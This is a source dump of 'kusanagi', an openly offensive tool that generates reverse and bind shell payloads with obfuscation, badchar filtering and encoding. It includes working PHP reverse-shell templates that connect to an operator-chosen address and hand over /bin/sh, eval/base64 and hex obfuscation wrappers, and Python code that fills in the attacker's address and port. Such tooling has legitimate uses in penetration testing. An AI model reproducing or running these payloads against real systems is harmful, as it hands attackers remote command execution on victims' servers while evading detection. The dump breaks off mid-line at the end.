| # Initializes the CodeQL tools for scanning. 29 | - name: Initialize CodeQL 30 | uses: github/codeql-action/init@v1 31 | with: 32 | languages: ${{ matrix.language }} 33 | # If you wish to specify custom queries, you can do so here or in a config file. 34 | # By default, queries listed here will override any specified in a config file. 35 | # Prefix the list here with "+" to use these queries and those in the config file. 36 | # queries: ./path/to/local/query, your-org/your-repo/queries@main 37 | 38 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). 39 | # If this step fails, then you should remove it and run the build manually (see below) 40 | - name: Autobuild 41 | uses: github/codeql-action/autobuild@v1 42 | 43 | # ℹ️ Command-line programs to run using the OS shell. 44 | # 📚 https://git.io/JvXDl 45 | 46 | # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines 47 | # and modify them (or add more) to build your code if your project 48 | # uses a compiled language 49 | 50 | #- run: | 51 | # make bootstrap 52 | # make release 53 | 54 | - name: Perform CodeQL Analysis 55 | uses: github/codeql-action/analyze@v1 56 | -------------------------------------------------------------------------------- /kusanagi/core/payload/__init__.py: -------------------------------------------------------------------------------- 1 | """Payload module.""" 2 | from typing import List, Dict, Any 3 | from ..filter import * 4 | from ..sorter import * 5 | 6 | 7 | def filter_items(items: List[Dict[str, Any]], filters: Dict[str, Any]) -> List[Dict[str, Any]]: 8 | """Returns filtered item list. 9 | 10 | Args: 11 | items: The items to filter. 12 | filters: The filter settings. 13 | 14 | Returns: 15 | List[dict]: List of filtered payload items. 16 | """ 17 | if "exe" in filters: 18 | items = filter_executables(items, filters["exe"]) 19 | if "lang" in filters: 20 | items = filter_languages(items, filters["lang"]) 21 | if "shells" in filters: 22 | items = filter_shells(items, filters["shells"]) 23 | if "os" in filters: 24 | items = filter_os(items, filters["os"]) 25 | if "badchars" in filters: 26 | items = filter_badchars(items, filters["badchars"]) 27 | if "maxlen" in filters: 28 | items = filter_maxlen(items, filters["maxlen"]) 29 | return items 30 | 31 | 32 | def sort_items(items: List[Dict[str, Any]], sort: str) -> List[Dict[str, Any]]: 33 | """Return sorted item list. 34 | 35 | Args: 36 | items: The items to sort. 37 | sort: What method to sort by (default, rating, length). 38 | 39 | Returns: 40 | List[dict]: List of sorted payload items. 41 | """ 42 | if sort == "rating": 43 | return sort_by_rating(items) 44 | if sort == "length": 45 | return sort_by_length(items) 46 | return sort_by_default(items) 47 | 48 | 49 | # def encode_items(items: List[dict], encoders: List[str]) -> List[dict]: 50 | # """Return payload items with encoded output item[x]["encoded"]. 51 | # 52 | # Args: 53 | # items: The items to encode (add "encoded" key to). 54 | # encoders: List of encoder function names. 55 | # 56 | # Returns: 57 | # List[dict]: List of items with additional "encoded" key added. 58 | # """ 59 | # for i, _ in enumerate(items): 60 | # for encoder in encoders: 61 | # items[i]["encoded"] = encode(items[i]["payload"], encoder) 62 | # return items 63 | -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [metadata] 2 | description-file = README.md 3 | 4 | [bdist_wheel] 5 | universal=1 6 | 7 | # -------------------------------------------------------------------------------- 8 | # Linter 9 | # -------------------------------------------------------------------------------- 10 | [pycodestyle] 11 | max-line-length = 100 12 | statistics = True 13 | show-source = True 14 | show-pep8 = True 15 | 16 | [pydocstyle] 17 | convention = google 18 | # D107: Description is on the class level instead 19 | add_ignore = D107 20 | 21 | [flake8] 22 | max-line-length = 100 23 | 24 | [pylint] 25 | # useless-object-inheritance: don't lint useless-object-inheritance to stary Python2/3 compatible 26 | # bad-continuation: let Python Black take care of this 27 | # unidiomatic-typecheck: Need to check if int or bool and this doesnt work with isinstance() 28 | #disable = useless-object-inheritance, bad-continuation, unidiomatic-typecheck, duplicate-code, invalid-name 29 | disable = duplicate-code, invalid-name, dangerous-default-value 30 | max-branches = 25 31 | max-statements = 100 32 | max-args = 11 33 | max-attributes = 10 34 | max-locals = 22 35 | # max-module-lines = 7000 36 | # max-bool-expr = 6 37 | # max-returns = 11 38 | # min-public-methods = 1 39 | # max-nested-blocks = 7 40 | # List of note tags to take in consideration, separated by a comma. 41 | #notes=FIXME,TODO 42 | notes=FIXME 43 | 44 | [mypy] 45 | # Display 46 | show_error_context = True 47 | show_column_numbers = True 48 | show_error_codes = True 49 | pretty = True 50 | color_output = True 51 | error_summary = True 52 | 53 | # Meta 54 | warn_unused_configs = True 55 | incremental = False 56 | show_traceback = True 57 | 58 | # Mode 59 | strict_optional = True 60 | show_none_errors = True 61 | 62 | # Allow 63 | disallow_any_expr = False 64 | disallow_any_explicit = False 65 | disallow_any_decorated = False 66 | 67 | # Deny 68 | disallow_any_unimported = True 69 | disallow_any_generics = True 70 | disallow_subclassing_any = True 71 | disallow_untyped_calls = True 72 | disallow_untyped_defs = True 73 | disallow_incomplete_defs = True 74 | check_untyped_defs = True 75 | disallow_untyped_decorators = True 76 | warn_redundant_casts = True 77 | warn_unused_ignores = True 78 | warn_no_return = True 79 | warn_return_any = True 80 | warn_unreachable = True 81 | allow_untyped_globals = False 82 | allow_redefinition = False 83 | 84 | [bandit] 85 | # B101: asserts 86 | # B404: blacklist (this is an offensive tool overall) 87 | skips = B101,B404 88 | -------------------------------------------------------------------------------- /kusanagi/__init__.py: -------------------------------------------------------------------------------- 1 | """Main file for kusanagi.""" 2 | 3 | from typing import Callable, Any 4 | 5 | import sys 6 | 7 | from .args import * 8 | 9 | from .core.output import output_payloads 10 | from .core.payload import filter_items 11 | from .core.payload import sort_items 12 | 13 | from .core.payload import code 14 | from .core.payload import cmd 15 | 16 | 17 | def main() -> None: 18 | """Run main entrypoint.""" 19 | cmd_args = get_args() 20 | 21 | print(cmd_args) 22 | 23 | output_options = { 24 | "quick": cmd_args.quick, 25 | "copy": cmd_args.copy, 26 | "info": None, 27 | } 28 | 29 | # TODO: Make this an option via command line to select bind-/reverse shell 30 | payload = { 31 | "payload": cmd_args.payload, 32 | "type": "revshell", 33 | "revshell": { 34 | "addr": cmd_args.addr, 35 | "port": str(cmd_args.port), 36 | }, 37 | } 38 | 39 | # Output code 40 | if cmd_args.payload == "code": 41 | filters = { 42 | "lang": cmd_args.lang, 43 | "shells": cmd_args.shell, 44 | "os": cmd_args.os, 45 | "badchars": cmd_args.badchars, 46 | "maxlen": cmd_args.maxlen, 47 | "obfuscate": cmd_args.obf, 48 | } 49 | 50 | items = code.get_items( 51 | "revshell", 52 | cmd_args.obf, 53 | { 54 | "addr": cmd_args.addr, 55 | "port": str(cmd_args.port), 56 | }, 57 | ) 58 | items = filter_items(items, filters) 59 | items = sort_items(items, "default") 60 | output_payloads(items, payload, cmd_args.enc, output_options) 61 | 62 | # Output commands 63 | if cmd_args.payload == "cmd": 64 | filters = { 65 | "exe": cmd_args.exe, 66 | "shells": cmd_args.shell, 67 | "os": cmd_args.os, 68 | "badchars": cmd_args.badchars, 69 | "maxlen": cmd_args.maxlen, 70 | "obfuscate": cmd_args.obf, 71 | } 72 | items = cmd.get_items( 73 | "revshell", 74 | cmd_args.obf, 75 | { 76 | "addr": cmd_args.addr, 77 | "port": str(cmd_args.port), 78 | }, 79 | ) 80 | items = filter_items(items, filters) 81 | items = sort_items(items, "default") 82 | output_payloads(items, payload, cmd_args.enc, output_options) 83 | 84 | 85 | if __name__ == "__main__": 86 | main() 87 | -------------------------------------------------------------------------------- /kusanagi/core/parser/__init__.py: -------------------------------------------------------------------------------- 1 | """Module to parse placeholders and functions that are defined in yaml templates.""" 2 | 3 | from typing import List, Dict, Any 4 | import re 5 | from .function import run 6 | 7 | 8 | def parse(items: List[Dict[str, Any]], placeholders: Dict[str, str]) -> List[Dict[str, Any]]: 9 | """Returns items parsed with placeholders, variables and functions. 10 | 11 | Args: 12 | items: List of items to parse 13 | placeholders: placeholders to be replaced in 'payload' key 14 | 15 | Returns: 16 | List of parsed items. 17 | """ 18 | for item in items: 19 | # Replace placeholder 20 | item["payload"] = _parse_placeholder(item["payload"], placeholders) 21 | 22 | # Compress payload 23 | item["payload"] = _compress(item["payload"]) 24 | 25 | # TODO: permutate variables 26 | 27 | # Apply functions 28 | item["payload"] = _parse_functions(item["payload"]) 29 | 30 | return items 31 | 32 | 33 | def _parse_placeholder(data: str, placeholders: Dict[str, str]) -> str: 34 | """Returns data with placeholders replaced.""" 35 | # Replace placeholder 36 | for key, val in placeholders.items(): 37 | data = data.replace(key, val) 38 | return data 39 | 40 | 41 | def _parse_functions(data: str) -> str: 42 | """Replaces to with their function outputs.""" 43 | for num in range(0, 10): 44 | pattern = fr"((.+?)<\/FUN:{num}:\2>)" 45 | reg = re.compile(pattern, flags=re.MULTILINE | re.DOTALL) 46 | ret = reg.findall(data) 47 | 48 | for match in ret: 49 | repl = match[0] # Whole string to replace 50 | func = match[1] # Function name, e.g. base64 51 | find = match[2] # String in between function delimiter 52 | data = data.replace(repl, run(find, func)) 53 | return data 54 | 55 | 56 | def _compress(data: str) -> str: 57 | """Trims whitepaces and newlines from a payload to make it a small as possible.""" 58 | pattern_rgt = r"\s*$" # Clean left of string 59 | pattern_lft = r"^\s*" # Clean right of string 60 | pattern_all = r"\s\s" # Two whitespaces in a row 61 | lines = [] 62 | for line in data.splitlines(): 63 | line = re.sub(pattern_rgt, "", line) 64 | line = re.sub(pattern_lft, "", line) 65 | line = re.sub(pattern_all, " ", line) 66 | lines.append(line) 67 | 68 | temp = "".join(lines) 69 | 70 | # Repeat until not further possible 71 | if temp != data: 72 | return _compress(temp) 73 | return temp 74 | -------------------------------------------------------------------------------- /kusanagi/files/code/revshells/php.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Meta definitions 5 | ### 6 | specification: 7 | payload: code 8 | type: revshell 9 | version: 0.0.1 10 | 11 | 12 | ### 13 | ### Items 14 | ### 15 | items: 16 | 17 | - name: php-fsockopen-exec 18 | desc: description 19 | info: 20 | - If the webserver runs in a chroot, it requires /bin/sh to be present in that chroot too. 21 | - exec() might be disabled via php.ini 22 | rating: 1 23 | code: 24 | language: php 25 | requires: 26 | version: [5, 6, 7, 8] 27 | commands: ["sh"] # Used shell commands 28 | functions: ["fsockopen", "exec"] # Used language functions 29 | modules: [] # Used language modules 30 | os: ["bsd", "linux", "mac"] # Works on these operating systems 31 | revshell: 32 | proto: tcp 33 | shell: sh 34 | command: "/bin/sh" 35 | payload: | 36 | $s=fsockopen("__ADDR__",__PORT__); 37 | exec("/bin/sh<&3 >&3 2>&3"); 38 | 39 | 40 | - name: php-fsockopen-passthru 41 | desc: description 42 | info: 43 | - If the webserver runs in a chroot, it requires /bin/sh to be present in that chroot too. 44 | - passthru() might be disabled via php.ini 45 | rating: 1 46 | code: 47 | language: php 48 | requires: 49 | version: [5, 6, 7, 8] 50 | commands: ["sh"] # Used shell commands 51 | functions: ["fsockopen", "passthru"] # Used language functions 52 | modules: [] # Used language modules 53 | os: ["bsd", "linux", "mac"] # Works on these operating systems 54 | revshell: 55 | proto: tcp 56 | shell: sh 57 | command: "/bin/sh" 58 | payload: | 59 | $s=fsockopen("__ADDR__",__PORT__); 60 | passthru("/bin/sh<&3 >&3 2>&3"); 61 | 62 | 63 | - name: php-fsockopen-popen 64 | desc: description 65 | info: 66 | - If the webserver runs in a chroot, it requires /bin/sh to be present in that chroot too. 67 | - popen() might be disabled via php.ini 68 | rating: 1 69 | code: 70 | language: php 71 | requires: 72 | version: [5, 6, 7, 8] 73 | commands: ["sh"] # Used shell commands 74 | functions: ["fsockopen", "popen"] 75 | modules: [] 76 | os: ["bsd", "linux", "mac"] # Works on these operating systems 77 | revshell: 78 | proto: tcp 79 | shell: sh 80 | command: "/bin/sh" 81 | payload: | 82 | $s=fsockopen("__ADDR__",__PORT__); 83 | popen("/bin/sh<&3 >&3 2>&3","r"); 84 | -------------------------------------------------------------------------------- /kusanagi/core/loader/yaml/validator.py: -------------------------------------------------------------------------------- 1 | """Validate a yaml file.""" 2 | 3 | from typing import Dict, Any 4 | import re 5 | 6 | 7 | def _validate_invalid_keys(section: str, data: Dict[str, Any], validator: Dict[str, Any]) -> None: 8 | for key in data: 9 | # Check if defined key should not be defined 10 | if key not in validator: 11 | raise KeyError(f"[CONFIG-FAIL] {section} invalid key defined: {key}") 12 | 13 | # Recurse into childs 14 | if validator[key]["childs"]: 15 | if isinstance(data[key], dict): 16 | _validate_invalid_keys(section + f"[{key}]", data[key], validator[key]["childs"]) 17 | if isinstance(data[key], list): 18 | for index, value in enumerate(data[key]): 19 | _validate_invalid_keys( 20 | section + f"[{key}][{index}]", value, validator[key]["childs"] 21 | ) 22 | 23 | 24 | def _validate_requirements(section: str, data: Dict[str, Any], validator: Dict[str, Any]) -> None: 25 | """Checks if data meets all requirements from validator dict. 26 | 27 | This is a forward validation, where it will be ensured that data contains 28 | required keys of correct type and correct values. 29 | 30 | Args: 31 | section (str): Name of the current yaml/dict section. 32 | data (Dict[Any, Any]): Yaml dict to validate. 33 | validator (Dict[Any, Any]): Yaml dict used to validate the yaml_dict against. 34 | 35 | Raises: 36 | KeyError: If data is invalid according to its validator definition. 37 | """ 38 | for key in validator: 39 | 40 | # Check Required 41 | if validator[key]["required"] and key not in data: 42 | raise KeyError(f"[CONFIG-FAIL] {section}[{key}] not defined, but required") 43 | 44 | # Check Type 45 | if key in data and not isinstance(data[key], validator[key]["type"]): 46 | req_type = validator[key]["type"] 47 | has_type = type(data[key]) 48 | raise KeyError( 49 | f"[CONFIG-FAIL] {section}[{key}] must be of type: {req_type} (is: {has_type})" 50 | ) 51 | 52 | # Check Allowed value by Regex 53 | if key in data and "allowed" in validator[key]: 54 | regex = validator[key]["allowed"] 55 | value = str(data[key]) 56 | if not re.findall(regex, value): 57 | raise KeyError(f"[CONFIG-FAIL] {section}[{key}] = '{value}' must match: '{regex}'") 58 | 59 | # Recurse into childs 60 | if key in data and validator[key]["childs"]: 61 | if isinstance(data[key], dict): 62 | _validate_requirements(section + f"[{key}]", data[key], validator[key]["childs"]) 63 | if isinstance(data[key], list): 64 | for index, value in enumerate(data[key]): 65 | _validate_requirements( 66 | section + f"[{key}][{index}]", data[key][index], validator[key]["childs"] 67 | ) 68 | -------------------------------------------------------------------------------- /kusanagi/core/filter/__init__.py: -------------------------------------------------------------------------------- 1 | """Module to filter payloads on their given options.""" 2 | 3 | from typing import List, Dict, Any 4 | 5 | 6 | def filter_executables(items: List[Dict[str, Any]], executables: List[str]) -> List[Dict[str, Any]]: 7 | """Returns only payloads for given list of executables.""" 8 | if not executables: 9 | return items 10 | 11 | filtered = [] 12 | for item in items: 13 | if item["cmd"]["executable"] in executables: 14 | filtered.append(item) 15 | return filtered 16 | 17 | 18 | def filter_languages(items: List[Dict[str, Any]], languages: List[str]) -> List[Dict[str, Any]]: 19 | """Returns only payloads for given list of languages.""" 20 | if not languages: 21 | return items 22 | 23 | filtered = [] 24 | for item in items: 25 | if "code" in item: 26 | if item["code"]["language"] in languages: 27 | filtered.append(item) 28 | return filtered 29 | 30 | 31 | def filter_shells(items: List[Dict[str, Any]], shells: List[str]) -> List[Dict[str, Any]]: 32 | """Returns only payloads which work when executed on specific underlying shells.""" 33 | if not shells: 34 | return items 35 | 36 | filtered = [] 37 | for item in items: 38 | has_shell = False 39 | for shell in shells: 40 | if "revshell" in item and shell in item["revshell"]["shell"]: 41 | has_shell = True 42 | if "bindshell" in item and shell in item["bindshell"]["shell"]: 43 | has_shell = True 44 | if has_shell: 45 | filtered.append(item) 46 | return filtered 47 | 48 | 49 | def filter_os(items: List[Dict[str, Any]], os: str) -> List[Dict[str, Any]]: 50 | """Returns only payloads for a given os.""" 51 | if not os: 52 | return items 53 | 54 | filtered = [] 55 | for item in items: 56 | if "cmd" in item and os in item["cmd"]["requires"]["os"]: 57 | filtered.append(item) 58 | if "code" in item and os in item["code"]["requires"]["os"]: 59 | filtered.append(item) 60 | if "file" in item and os in item["file"]["requires"]["os"]: 61 | filtered.append(item) 62 | return filtered 63 | 64 | 65 | def filter_badchars(items: List[Dict[str, Any]], badchars: str) -> List[Dict[str, Any]]: 66 | """Returns only payloads without specified badcharss.""" 67 | if not badchars: 68 | return items 69 | 70 | filtered = [] 71 | for item in items: 72 | has_badchar = False 73 | for badchar in badchars: 74 | if badchar in item["payload"]: 75 | has_badchar = True 76 | if not has_badchar: 77 | filtered.append(item) 78 | return filtered 79 | 80 | 81 | def filter_maxlen(items: List[Dict[str, Any]], maxlen: int) -> List[Dict[str, Any]]: 82 | """Returns only payloads not longer than maxlen.""" 83 | if maxlen <= 0: 84 | return items 85 | 86 | filtered = [] 87 | for item in items: 88 | if len(item["payload"]) <= maxlen: 89 | filtered.append(item) 90 | return filtered 91 | -------------------------------------------------------------------------------- /kusanagi/core/payload/code/obfuscator/validator.py: -------------------------------------------------------------------------------- 1 | """This file holds the payload yaml validator/definition template.""" 2 | 3 | VALIDATOR = { 4 | "specification": { 5 | "type": dict, 6 | "required": True, 7 | "childs": { 8 | "payload": { 9 | "type": str, 10 | "required": True, 11 | "allowed": "^(code)$", 12 | "childs": {}, 13 | }, 14 | "type": { 15 | "type": str, 16 | "required": True, 17 | "allowed": "^(obfuscator)$", 18 | "childs": {}, 19 | }, 20 | "version": { 21 | "type": str, 22 | "required": True, 23 | "allowed": "^([0-9]\\.[0-9]\\.[0-9])$", 24 | "childs": {}, 25 | }, 26 | }, 27 | }, 28 | "items": { 29 | "type": list, 30 | "required": True, 31 | "childs": { 32 | "name": { 33 | "type": str, 34 | "required": True, 35 | "allowed": "^(.+)$", 36 | "childs": {}, 37 | }, 38 | "desc": { 39 | "type": str, 40 | "required": True, 41 | "allowed": "^(.+)$", 42 | "childs": {}, 43 | }, 44 | "info": { 45 | "type": list, 46 | "required": True, 47 | "childs": {}, 48 | }, 49 | "code": { 50 | "type": dict, 51 | "required": True, 52 | "childs": { 53 | "language": { 54 | "type": str, 55 | "required": True, 56 | "allowed": "^(.+)$", 57 | "childs": {}, 58 | }, 59 | "requires": { 60 | "type": dict, 61 | "required": True, 62 | "childs": { 63 | "version": { 64 | "type": list, 65 | "required": True, 66 | "childs": {}, 67 | }, 68 | "commands": { 69 | "type": list, 70 | "required": True, 71 | "childs": {}, 72 | }, 73 | "functions": { 74 | "type": list, 75 | "required": True, 76 | "childs": {}, 77 | }, 78 | "modules": { 79 | "type": list, 80 | "required": True, 81 | "childs": {}, 82 | }, 83 | "os": { 84 | "type": list, 85 | "required": True, 86 | "childs": {}, 87 | }, 88 | }, 89 | }, 90 | }, 91 | }, 92 | "payload": { 93 | "type": str, 94 | "required": True, 95 | "allowed": "(.*__CODE__.*)", 96 | "childs": {}, 97 | }, 98 | }, 99 | }, 100 | } 101 | -------------------------------------------------------------------------------- /kusanagi/core/parser/function.py: -------------------------------------------------------------------------------- 1 | """Provides template functions.""" 2 | 3 | import base64 4 | import re 5 | import html 6 | import urllib.parse 7 | 8 | 9 | # -------------------------------------------------------------------------------------------------- 10 | # Public functions 11 | # -------------------------------------------------------------------------------------------------- 12 | def run(data: str, function_name: str) -> str: 13 | """Runs a function on data and returns function output. 14 | 15 | Args: 16 | data (str): The string to run the function against. 17 | function_name (str): The function to run. 18 | 19 | Returns: 20 | str: Result of the function applied on data. 21 | """ 22 | func = globals()["_get_" + function_name] 23 | data = func(data) 24 | return data 25 | 26 | 27 | # -------------------------------------------------------------------------------------------------- 28 | # Available Template Functions 29 | # -------------------------------------------------------------------------------------------------- 30 | def _get_len(data: str) -> str: 31 | """Returns the length of data.""" 32 | return str(len(data)) 33 | 34 | 35 | def _get_url(data: str) -> str: 36 | """URL encodes data.""" 37 | return urllib.parse.quote(data, safe="") 38 | 39 | 40 | def _get_urlplus(data: str) -> str: 41 | """URL encodes data and converts spaces to a '+' sign.""" 42 | return urllib.parse.quote_plus(data, safe="") 43 | 44 | 45 | def _get_html(data: str) -> str: 46 | """Html entity encodes data.""" 47 | return html.escape(data) 48 | 49 | 50 | def _get_hex(data: str) -> str: 51 | r"""Returns '\xff' hex representation of data.""" 52 | temp = [] 53 | for char in data: 54 | temp.append(hex(ord(char)).replace("0x", "\\x")) 55 | return "".join(temp) 56 | 57 | 58 | def _get_hexesc(data: str) -> str: 59 | r"""Returns '\\xff' escaped-hex representation of data.""" 60 | temp = [] 61 | for char in data: 62 | temp.append(hex(ord(char)).replace("0x", "\\\\x")) 63 | return "".join(temp) 64 | 65 | 66 | def _get_hex0x(data: str) -> str: 67 | r"""Returns '0xff' 0-prefixed hex representation of data.""" 68 | temp = [] 69 | for char in data: 70 | temp.append(hex(ord(char))) 71 | return "".join(temp) 72 | 73 | 74 | def _get_hexplain(data: str) -> str: 75 | """Returns hex values of data without any prefixes.""" 76 | temp = [] 77 | for char in data: 78 | temp.append(hex(ord(char)).replace("0x", "")) 79 | return "".join(temp) 80 | 81 | 82 | def _get_base64(data: str) -> str: 83 | """Base 64 encodes data.""" 84 | ebytes = base64.b64encode(data.encode("utf-8")) 85 | estring = str(ebytes, "utf-8") 86 | return estring 87 | 88 | 89 | def _get_base64pad(data: str) -> str: 90 | """Base64 encodes with space padding to ensure output only contains [a-zA-Z0-9+].""" 91 | pattern = r"[^a-zA-Z0-9\+]" 92 | regex = re.compile(pattern) 93 | while True: 94 | ebytes = base64.b64encode(data.encode("utf-8")) 95 | estring = str(ebytes, "utf-8") 96 | if not regex.findall(estring): 97 | break 98 | # Pad with trailing space and try again to eliminate base64 pad chars 99 | data = data + " " 100 | 101 | return estring 102 | 103 | 104 | def _get_2xbase64pad(data: str) -> str: 105 | """Base64 encodes twice with space padding to ensure output only contains [a-zA-Z0-9].""" 106 | pattern = r"[^a-zA-Z0-9]" 107 | regex = re.compile(pattern) 108 | while True: 109 | # First run 110 | ebytes = base64.b64encode(data.encode("utf-8")) 111 | estring = str(ebytes, "utf-8") 112 | 113 | # Second run 114 | ebytes = base64.b64encode(estring.encode("utf-8")) 115 | estring = str(ebytes, "utf-8") 116 | 117 | if not regex.findall(estring): 118 | break 119 | # Pad with trailing space and try again to eliminate base64 pad/special chars 120 | data = data + " " 121 | 122 | return estring 123 | -------------------------------------------------------------------------------- /kusanagi/files/code/obfuscators/php.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Meta definitions 5 | ### 6 | specification: 7 | payload: code 8 | type: obfuscator 9 | version: 0.0.1 10 | 11 | 12 | ### 13 | ### Items 14 | ### 15 | items: 16 | 17 | # -------------------------------------------------------------------------------- 18 | # php-eval-base64 19 | # -------------------------------------------------------------------------------- 20 | - name: php-eval-base64 21 | desc: desc 22 | info: [] 23 | code: 24 | language: php 25 | requires: 26 | version: [5, 6, 7, 8] 27 | commands: [] 28 | functions: ["eval", "base64_decode"] 29 | modules: [] 30 | os: ["bsd", "linux", "mac", "solaris", "windows"] 31 | payload: | 32 | eval(base64_decode("__CODE__")); 33 | 34 | - name: php-eval-base64-noquote 35 | desc: desc 36 | info: 37 | - Does not work on PHP 8.0 anymore 38 | code: 39 | language: php 40 | requires: 41 | version: [5, 6, 7] 42 | commands: [] 43 | functions: ["eval", "base64_decode"] 44 | modules: [] 45 | os: ["bsd", "linux", "mac", "solaris", "windows"] 46 | payload: | 47 | eval(base64_decode(__CODE__)); 48 | 49 | 50 | # -------------------------------------------------------------------------------- 51 | # php-eval-base64-base64 52 | # -------------------------------------------------------------------------------- 53 | - name: php-eval-base64-base64 54 | desc: desc 55 | info: [] 56 | code: 57 | language: php 58 | requires: 59 | version: [5, 6, 7, 8] 60 | commands: [] 61 | functions: ["eval", "base64_decode"] 62 | modules: [] 63 | os: ["bsd", "linux", "mac", "solaris", "windows"] 64 | payload: | 65 | eval(base64_decode(base64_decode("__CODE__"))); 66 | 67 | - name: php-eval-base64-base64-noquote 68 | desc: desc 69 | info: 70 | - Does not work on PHP 8.0 anymore 71 | code: 72 | language: php 73 | requires: 74 | version: [5, 6, 7] 75 | commands: [] 76 | functions: ["eval", "base64_decode"] 77 | modules: [] 78 | os: ["bsd", "linux", "mac", "solaris", "windows"] 79 | payload: | 80 | eval(base64_decode(base64_decode(__CODE__))); 81 | 82 | 83 | # -------------------------------------------------------------------------------- 84 | # php-eval-hex 85 | # -------------------------------------------------------------------------------- 86 | - name: php-eval-pack-hex 87 | desc: desc 88 | info: [] 89 | code: 90 | language: php 91 | requires: 92 | version: [5, 6, 7, 8] 93 | commands: [] 94 | functions: ["eval", "pack"] 95 | modules: [] 96 | os: ["bsd", "linux", "mac", "solaris", "windows"] 97 | payload: | 98 | eval(pack("H__CODE__","__CODE__")); 99 | 100 | 101 | # -------------------------------------------------------------------------------- 102 | # php-base64-include 103 | # -------------------------------------------------------------------------------- 104 | # TODO: This seems to be hang up connection as soon as it connected initially. 105 | # - name: php-base64-include 106 | # desc: desc 107 | # info: [] 108 | # code: 109 | # language: php 110 | # requires: 111 | # version: [5, 6, 7, 8] 112 | # commands: [] 113 | # functions: ["empnam", "base64_decode", "fopen", "fwrite", "include", "sys_get_temp_dir"] 114 | # modules: [] 115 | # os: ["bsd", "linux", "mac", "solaris", "windows"] 116 | # payload: | 117 | # $f=tempnam(sys_get_temp_dir(),"e"); 118 | # $h=fopen($f,base64_decode("w+")); 119 | # fwrite($h,base64_decode("")); 120 | # include($f); 121 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | """Pip configuration.""" 2 | # https://github.com/pypa/sampleproject/blob/main/setup.py 3 | 4 | from setuptools import setup 5 | 6 | with open("README.md", "r") as fp: 7 | long_description = fp.read() 8 | 9 | with open("requirements.txt", "r") as fp: 10 | requirements = fp.read() 11 | 12 | setup( 13 | name="kusanagi", 14 | version="0.0.5", 15 | packages=[ 16 | "kusanagi", 17 | "kusanagi.core", 18 | "kusanagi.core.filter", 19 | "kusanagi.core.helper", 20 | "kusanagi.core.loader", 21 | "kusanagi.core.loader.template", 22 | "kusanagi.core.loader.yaml", 23 | "kusanagi.core.output", 24 | "kusanagi.core.output.clipboard", 25 | "kusanagi.core.output.encoder", 26 | "kusanagi.core.output.printer", 27 | "kusanagi.core.parser", 28 | "kusanagi.core.payload", 29 | "kusanagi.core.payload.cmd", 30 | "kusanagi.core.payload.cmd.obfuscator", 31 | "kusanagi.core.payload.cmd.revshell", 32 | "kusanagi.core.payload.code", 33 | "kusanagi.core.payload.code.obfuscator", 34 | "kusanagi.core.payload.code.revshell", 35 | "kusanagi.core.sorter", 36 | ], 37 | package_data={ 38 | "kusanagi": [ 39 | "files/cmd/obfuscators/bash-gnu.yml", 40 | "files/cmd/revshells/bash.yml", 41 | "files/code/obfuscators/bash.yml", 42 | "files/code/obfuscators/php.yml", 43 | "files/code/obfuscators/python.yml", 44 | "files/code/revshells/bash.yml", 45 | "files/code/revshells/php.yml", 46 | "files/code/revshells/python.yml", 47 | "files/code/revshells/ruby.yml", 48 | ], 49 | }, 50 | entry_points={ 51 | "console_scripts": [ 52 | # cmd = package[.module]:func 53 | "kusa=kusanagi:main", 54 | ], 55 | }, 56 | install_requires=requirements, 57 | description="Kusanagi is a bind and reverse shell payload generator with obfuscation and badchar support.", 58 | license="MIT", 59 | long_description=long_description, 60 | long_description_content_type="text/markdown", 61 | keywords=["payload", "bind shell", "reverse shell", "generator", "shell", "kusanagi"], 62 | author="cytopia", 63 | author_email="cytopia@everythingcli.org", 64 | url="https://github.com/cytopia/kusanagi", 65 | project_urls={ 66 | "Source Code": "https://github.com/cytopia/kusanagi", 67 | "Bug Tracker": "https://github.com/cytopia/kusanagi/issues", 68 | }, 69 | python_requires=">=3.6", 70 | classifiers=[ 71 | # https://pypi.org/classifiers/ 72 | # 73 | # How mature is this project 74 | "Development Status :: 3 - Alpha", 75 | # How does it run 76 | "Environment :: Console", 77 | # Indicate who your project is intended for 78 | "Intended Audience :: Developers", 79 | "Intended Audience :: Information Technology", 80 | "Intended Audience :: Science/Research", 81 | "Intended Audience :: System Administrators", 82 | # License 83 | "License :: OSI Approved :: MIT License", 84 | # Where does it run 85 | "Operating System :: OS Independent", 86 | # Specify the Python versions you support here. In particular, ensure 87 | # that you indicate whether you support Python 2, Python 3 or both. 88 | "Programming Language :: Python :: 3 :: Only", 89 | "Programming Language :: Python :: 3.6", 90 | "Programming Language :: Python :: 3.7", 91 | "Programming Language :: Python :: 3.8", 92 | "Programming Language :: Python :: 3.9", 93 | "Programming Language :: Python :: Implementation :: CPython", 94 | "Programming Language :: Python :: Implementation :: PyPy", 95 | # Project topics 96 | "Topic :: Internet", 97 | "Topic :: Security", 98 | "Topic :: System :: Shells", 99 | "Topic :: System :: Systems Administration", 100 | "Topic :: Terminals", 101 | "Topic :: Utilities", 102 | # Typed 103 | "Typing :: Typed", 104 | ], 105 | ) 106 | -------------------------------------------------------------------------------- /kusanagi/core/payload/code/revshell/__init__.py: -------------------------------------------------------------------------------- 1 | """Module to load reverse shell payloads.""" 2 | 3 | from typing import List, Dict, Any 4 | from ....helper import intersect 5 | from ....helper import unique 6 | from ....loader import load 7 | from ....parser import parse 8 | from ..obfuscator import * 9 | from .validator import VALIDATOR 10 | 11 | 12 | CODE_FILES = [ 13 | "bash.yml", 14 | "php.yml", 15 | "python.yml", 16 | "ruby.yml", 17 | ] 18 | 19 | CODE_SUBDIRS = ["code", "revshells"] 20 | 21 | 22 | def get_revshells(addr: str, port: str, obfuscated: bool) -> List[Dict[str, Any]]: 23 | """Returns list of reverse shell payloads.""" 24 | # Final items 25 | items = [] 26 | 27 | placeholders = { 28 | "__ADDR__": addr, 29 | "__PORT__": port, 30 | } 31 | 32 | # Get parsed items 33 | codes = load(CODE_FILES, CODE_SUBDIRS, VALIDATOR) 34 | codes = parse(codes, placeholders) 35 | 36 | # Loop over items 37 | for code in codes: 38 | 39 | # Add normal code item 40 | items.append(_get_revshell_item(code, False)) 41 | 42 | # Add obfuscated items as well? 43 | if obfuscated: 44 | for obfuscator in get_obfuscators(): 45 | # Check for same language (code <-> obfuscator) 46 | if code["code"]["language"] == 